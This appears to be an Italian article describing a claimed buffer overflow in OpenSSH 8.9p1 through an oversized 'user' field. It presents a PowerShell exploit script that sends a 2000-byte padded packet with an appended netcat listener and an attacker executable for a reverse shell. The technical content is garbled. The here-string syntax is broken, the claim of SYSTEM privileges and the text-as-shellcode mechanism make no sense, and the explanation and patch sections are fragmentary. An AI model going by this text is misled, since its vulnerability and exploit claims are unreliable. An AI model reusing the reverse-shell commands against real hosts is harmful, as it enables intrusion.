
CVE-2025-27480 espone un buffer overflow in OpenSSH 8.9p1 tramite un pacchetto SSH_USERAUTH malformato. Gli aggressori possono iniettare shellcode e ottenere accesso a livello SYSTEM, compromettendo host bastion e agenti CI/CD a valle. L'articolo include codice di exploit di esempio e indicazioni per il patching.
OpenSSH versione 8.9p1 contiene un sottile bug di buffer overflow che si verifica quando analizza un pacchetto SSH_USERAUTH. Un client può inviare un pacchetto con un campo “user” molto lungo, e i dati finiscono nel posto sbagliato in memoria. Il risultato è che un attaccante può iniettare shellcode arbitrario che viene eseguito con privilegi SYSTEM su qualsiasi host che esegue quella versione di OpenSSH. Ora, perché hai sensazioni di déjà vu? Poiché una vulnerabilità molto simile, CVE‑2024‑13401, ha portato alla mancanza di controllo dei limiti sul campo utente, un attaccante può scrivere qualsiasi codice voglia nel processo SSH
Il difetto è importante perché SSH è il modo più comune per avviare e gestire le macchine virtuali negli ambienti cloud. Se un attaccante può eseguire codice tramite SSH, può installare backdoor o compromettere i bastion host, che sono i punti di salto che si usano per raggiungere altre istanze in una rete privata. Una volta compromesso il bastion host, tutti i workload a valle—ad esempio, gli agenti CI/CD che creano immagini o eseguono test—sono a rischio.
CI/CD sta per Continuous Integration/Continuous Delivery. Nel nostro contesto, un bastion host è un server “jump” abilitato a SSH che tutti gli agenti di build usano per raggiungere altre macchine in una rete privata. È un punto di ingresso critico: se il bastion viene compromesso, ogni job a valle che dipende da esso può essere attaccato.
Di seguito è riportato un semplice script PowerShell che dimostra come creare e inviare un pacchetto malevolo:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
Perché funziona
ssh-userauth-attack) dice a OpenSSH che il pacchetto è una richiesta di autenticazione utente.user.nc.exe, che apre un listener netcat sulla porta 4444 e scrive il suo output in C:\Windows\Temp\revshell.txt. Chiama anche un eseguibile fornito dall'attaccante (bar_exp.exe) che può svolgere ulteriore lavoro (ad esempio, aprire una reverse shell).Il file creato dall'exploit è la prova che il pacchetto ha colpito il punto giusto in memoria; da lì puoi aprire la porta 4444, connetterti al listener ed eseguire qualsiasi script desideri.
‑DUSERAUTH_BUF=4096 in modo che la dimensione del buffer sia maggiore del payload di overflow.ssh_userauth_patch.diff) dall'advisory del fornitore può essere committato accanto al tuo repository.